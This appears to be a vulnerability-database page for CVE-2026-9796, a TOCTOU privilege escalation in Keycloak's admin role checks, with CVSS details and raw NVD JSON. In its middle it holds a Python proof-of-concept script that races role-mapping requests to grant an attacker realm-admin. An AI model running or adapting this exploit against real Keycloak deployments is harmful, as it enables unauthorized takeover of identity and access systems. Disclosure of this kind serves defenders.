Security Vulnerability Report
中文
CVE-2026-9796 CVSS 6.5 MEDIUM

CVE-2026-9796

Published: 2026-05-28 05:16:41
Last Modified: 2026-05-28 05:16:41

Description

A flaw was found in Keycloak. An authenticated administrator with the `manage-clients` role can exploit a Time-of-check to time-of-use (TOCTOU) vulnerability in the name-based admin role checks. This allows the attacker to escalate their privileges to `realm-admin` for all users within the realm, granting them extensive control over the system. The composite role relationship persists even after the attacker's own permissions are revoked and across system reboots.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本需参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading import requests # Target configuration TARGET_URL = "https://keycloak.example.com" REALM_NAME = "master" CLIENT_ID = "admin-cli" # Attacker credentials (user with 'manage-clients' role) USERNAME = "attacker" PASSWORD = "password" # Obtain access token auth_data = { "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD, "grant_type": "password" } token_resp = requests.post(f"{TARGET_URL}/realms/{REALM_NAME}/protocol/openid-connect/token", data=auth_data) access_token = token_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Exploit Logic: Race Condition between Check and Use def assign_realm_admin(): """Thread 1: Attempt to assign realm-admin role to the attacker.""" # Endpoint to add composite role (simplified) # The attacker tries to add 'realm-admin' to their own role mappings payload = { "roles": [ {"id": "realm-admin-id", "name": "realm-admin"} ] } # Note: Real exploitation requires specific client/role IDs found via reconnaissance print("[Thread 1] Attempting to assign realm-admin role...") try: r = requests.post(f"{TARGET_URL}/admin/realms/{REALM_NAME}/users/{USER_ID}/role-mappings/realm", json=payload, headers=headers) print(f"[Thread 1] Assignment Status: {r.status_code}") except Exception as e: print(f"[Thread 1] Error: {e}") def trigger_name_check(): """Thread 2: Trigger the admin role check (The Check).""" # This request triggers the logic that checks the admin role name print("[Thread 2] Triggering role name check...") try: r = requests.get(f"{TARGET_URL}/admin/realms/{REALM_NAME}/clients", headers=headers) print(f"[Thread 2] Check Status: {r.status_code}") except Exception as e: print(f"[Thread 2] Error: {e}") if __name__ == "__main__": # USER_ID needs to be gathered first via API calls USER_ID = "attacker-user-id" # Launch threads to exploit the race condition threads = [] for _ in range(10): # Run multiple times to increase success probability t1 = threading.Thread(target=assign_realm_admin) t2 = threading.Thread(target=trigger_name_check) threads.append(t1) threads.append(t2) t1.start() t2.start() for t in threads: t.join() print("Exploit attempt finished.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9796", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:41.153", "lastModified": "2026-05-28T05:16:41.153", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. An authenticated administrator with the `manage-clients` role can exploit a Time-of-check to time-of-use (TOCTOU) vulnerability in the name-based admin role checks. This allows the attacker to escalate their privileges to `realm-admin` for all users within the realm, granting them extensive control over the system. The composite role relationship persists even after the attacker's own permissions are revoked and across system reboots."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9796", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482464", "source": "[email protected]"}]}}